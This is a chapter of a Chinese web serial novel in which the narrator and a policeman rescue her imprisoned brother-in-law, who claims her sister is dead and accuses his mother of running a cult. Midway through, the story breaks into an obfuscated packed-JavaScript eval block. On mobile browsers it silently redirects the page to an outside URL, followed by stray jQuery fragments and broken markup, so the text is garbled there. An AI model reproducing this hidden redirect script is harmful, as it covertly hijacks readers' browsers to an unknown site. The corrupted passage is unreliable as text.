20.消失的姐夫

作品:《桃花源下

    身后,李卫东下意识把我往后护住,另一只手已经摸向腰间。


    陆言初抓住我手臂,声音颤了:“小沐姐……里面的人是谁?为什么会知道你的名字。”


    我盯着那扇门,愣住了。


    “我是警察,里面的人是谁?”李卫东朝房子里大声问道,他一手按在腰间,另一只手握着甩棍,随时准备破门。


    木屋里沉默了一瞬,忽然有人剧烈地拍打门板,声音急促、带着劫后余生的狂乱:“救我!快救我出去!我被关在这里很久了!”


    “叫什么名字!”


    “我叫林志恒!”


    话音刚落,我只觉得耳边嗡的一声,像是炸开了。脚底发寒,背脊僵硬,全身血液像是倒流一般,背后出了一身的冷汗,整个人被钉在原地。


    林志恒——是我姐夫的名字!


    他不是去市里上班了吗?为什么会被关在这里?


    难道许微撒谎了?


    还是,她根本不知道?


    “小沐姐?”陆言初看我脸色发白,伸手扶住我,“你认识里面那个人?”


    但我根本说不出话。


    “靠,别愣着了!”李卫东急忙想要破门。他肩膀狠狠撞上木门,发出沉闷的震动声,却没能撞开。


    “妈的,这门怎么做的,铁打的吗?”他咬牙又撞两下,却仍旧纹丝不动。


    李卫东抹了把汗,目光迅速扫视周围,看到木屋侧面那扇很高很狭窄的玻璃窗。


    “窗户或许能进去。”他说着走过去,仰起头对里面喊,“里面的人,想办法靠近窗户!有没有能垫脚的东西?能够到窗户这里吗?”


    里面沉默了一瞬,才传来林志恒无奈的声音:“这里面除了一张被固定在地上的床之外,没有其他垫脚的东西,我够不到窗户。”


    这扇窗距离地面很高,一个成年人从里面靠近都很困难,更别说破窗而出了。


    我终于回过神,迈着僵硬的步子,走向木门。风把我额头的发丝吹乱,贴在冰冷的皮肤上,我伸手触摸门板,声音有些发抖:


    “你……真的是我姐夫?”


    “什么?!”李卫东和陆言初同时转头,眼里写满错愕。


    木屋里沉默了一瞬,传来一声叹息,疲惫又沙哑。


    “小沐……是我。”


    “这段时间发生了很多很多事情......”


    我的手指攥紧,指甲深深抠入掌心。


    我的声音不受控制地提高:“到底发生了什么?你为什么在这里?你不是去市里上班了吗?”


    林志恒嗤笑了一声,充满了嘲讽与苦涩:“她是这么跟你说的啊。”


    “你们先别在外面叙旧了!”李卫东打断我们,怒道,“先把人弄出来再说!”


    我晃了晃脑袋,压下那股莫名的眩晕感,努力让自己冷静下来。抬头望向那扇玻璃窗——阳光透过树影斑驳地洒在上面,反出一层刺眼的白光。


    “这个窗能打开吗?”我问。


    里面的人声音有些嘶哑,带着疲惫:“应该能……但我们够不到。”


    我目光扫了一圈,快速在脑子里构思方案。周围草丛湿漉漉的,还混着泥土与雨后腐叶的气味,空气潮得让人喘不过气。


    “你里面有床单吧?”我冷静的说道,“我们把窗户砸开,你把床单打结成长条,扔出来。我们拉住,你抓紧爬上来——跳下来。”


    陆言初眼睛一亮:“不愧是小沐姐!这个办法稳!”


    李卫东皱了皱眉,目光在窗户与地面之间来回打量了一下,冷声说:“这么高,跳下来会摔伤。”


    “不是有你们两个大男人吗?”我淡淡道,“问题不大。”


    他无奈地叹了口气,嘴角微微抽动:“好。”


    他弯腰捡起一块拳头大的石头,掌心青筋绷起:“里面的人躲远一些!我要砸了!”


    屋内传来短促的应声。下一秒,石头狠狠砸在玻璃上——


    “砰!”一声脆响,碎裂声划破了山林的宁静。无数玻璃碎片朝四周飞散,落在地上,在阳光下映出细碎的光,有些炫目。


    片刻后,屋里传来拖拽布料的声响,一截床单从窗中甩出。


    李卫东咬紧牙关,与陆言初一左一右紧紧抓住床单两端:“林志恒,你那边绑紧,听我口令,往上爬!”


    床单绷得笔直,随着他身体的重量微微颤抖。


    终于,窗台上露出了一双手——骨节突兀、有些瘦削。接着,一张有些憔悴的脸慢慢探出。


    阳光打在那张脸上,我一时怔住,有些恍惚。


    那是林志恒?


    结婚的时候明明还是微胖的身材、精神的寸头,可现在连下颌线都快出来了,头发长的都快到肩膀了。


    我都已经快认不出来了。


    我喉咙发紧,声音有些颤抖:“他……怎么变成这样了?”


    “别愣着!”李卫东一声低喝。


    下一刻,“砰——”林志恒整个人从窗台上跌了下来,李卫东和陆言初几乎同时伸手去接,三人一起摔倒在地。


    林志恒重重落地,发出一声闷哼。李卫东护着他在地上滚了两圈,才勉强稳住身形。


    等两人狼狈地从地上爬起来时,我上前一步,心脏怦怦直跳:“现在,可以好好说了吧?”


    林志恒抬头看我,还未从久违的阳光中缓过来,那双眼里没有劫后余生的欣喜,反而满是沉重。他盯了我几秒,嗓音沙哑得像长期没有喝过水:“接下来我说的话,你可能不相信。但——”他像是挣扎着从胸腔里挤出每一个字,“——我说的,全部都是实话。”


    我深吸一口气,开门见山:“我姐知道你在这里吗?”


    他愣了几秒,眼神中充满了悲伤,还不等他回答我紧接着继续说:“她说你去市里上班了。”


    “什么?”他陡然抬起头,眼白里血丝密布,一把抓住我的肩膀,像要把我说的话彻底确认清楚,“你说什么?是你姐跟你说我去市里上班了?”


    他抓得我有些疼,声音听起来几乎歇斯底里,“那你——你见到她了?你真的见到许微了?”


    “当然见到了。”我皱眉,把他的手推开,“我来这村里就是为了看她和安安的。”


    林志恒身体晃了一下,他呆站着,嘴唇微颤:“你的意思是……你见到了——你亲姐姐许微?”他一字一顿地重复,“你没看错?你确定你见到的是她?”


    “你什么意思?”我眉头越皱越深,“我见到的当然是我亲姐姐许微,难道我还能认错?”


    然而,说完后,我背脊却莫名窜上一股冷意。


    ——他为什么非要反复确认?


    林志恒努力平复呼吸,嗓子却止不住发颤:“不,不对……这不可能……她已经……”


    “你姐姐——她已经……”


    他咬住牙,终于吐出最后三个字:


    “死了啊。”


    说完,他有些痛苦的双手捂住自己的脸。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16511514|185625||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>四周仿佛瞬间空了。风停了,树叶不动了,小溪流水也突然变得遥远。


    我愣在原地,大脑像被人按下暂停键,不知该作何反应。


    “你在胡说八道什么!”陆言初大步踩前,一把扯过我,把我护在身后,“小沐姐别听他乱说,我看这人根本不是你姐夫!被关在这里肯定是因为精神错乱了!说出来的话根本不能信!”


    李卫东站在一旁,没说话,却不再像之前那样焦躁。他目光冷静地盯着林志恒,不知在想些什么。


    我的心跳很快。我应该否认这一切,应该直接大骂林志恒胡说八道。但我做不到。因为——之前在许微身上总觉得有很多奇怪的地方。


    这一刻,我竟然觉得他的话像是真的。


    “如果你说她已经死了,”我的声音艰难挤出喉咙,“那我这几天,每天见到、说话、一起吃饭的人,到底是谁?”


    “为什么她跟许微长得——一模一样?”


    林志恒僵在那里,眼睛明显颤了一下。他喉结滚动,低声喃喃道:“这……这不可能……怎么可能……”


    我冷冷盯着他:“那你说——许微是怎么死的?又为什么不告诉我?她死了,为什么瞒住我的父母?还有你——你又是因为什么被关在这个地方?”


    林志恒沉默了几秒,那种沉默像在逼迫自己硬着头皮揭开一段连自己都不愿再提起的记忆。他缓缓开口:


    “你姐姐……在生完安安之后,身体就彻底垮了。”


    他语速很慢,像每说一句话,都要耗尽力气。


    “我们本来住在市里的,我和我妈的关系……挺糟糕的,从小时候起就不亲近,很少联系。但安安出生后,她突然主动来找我们,说想看看自己的孙子。”


    “她说这里山清水秀,空气好,在这里还能养养病。想着毕竟是她唯一的孙子,而且你姐姐身体确实弱,这地方对她确实有好处,我们就来了。”


    “起初的确有效果,你姐姐的气色好了些,人也有笑容了。”


    说到这里,他缓缓吸了口气,嗓音却突然哑下去。


    “但她的身体……还是不行。她每天都在吃药、打针,还是越来越虚。来了不到五个月,一场高烧——她再也没醒过来。”


    空气仿佛瞬间被抽空。


    连风吹动树叶的声音都听得一清二楚。


    我嗓子像被什么堵住,胸口产生一种刺痛感。


    “你说——我姐姐死了?”我冷冷重复。


    “对不起。”林志恒低下头,哽咽了起来。


    他突然抬头,像想起什么似的一把抓住李卫东的胳膊:“对了,我妈你们应该见过了吧。”


    他的眼神突然变得坚硬而疯狂:“我要举报她!我要举报白月娥涉嫌邪教组织宣传洗脑、非法拘禁、蓄意伤人——甚至谋杀!”


    “什……什么?!”我有些太过震惊。


    “她是个恶魔!你们一定要抓住她——她在村里搞所谓的什么‘死而复生’的骗局!她骗人!她害人!她——”


    “住口!”李卫东一声震喝,打断了他:“你知不知道你在说什么?这不是随便可以污蔑的罪名,你拿得出证据吗?”


    “我有!我当然有!就藏在——”


    他突然停住,眼神看向我们身后。


    我顺着他的目光回头——不远处的树林阴影里,一个人静静站着。


    灰色长裙微微随风摆动,脸上带着熟悉的温柔笑意。


    ——‘许微’。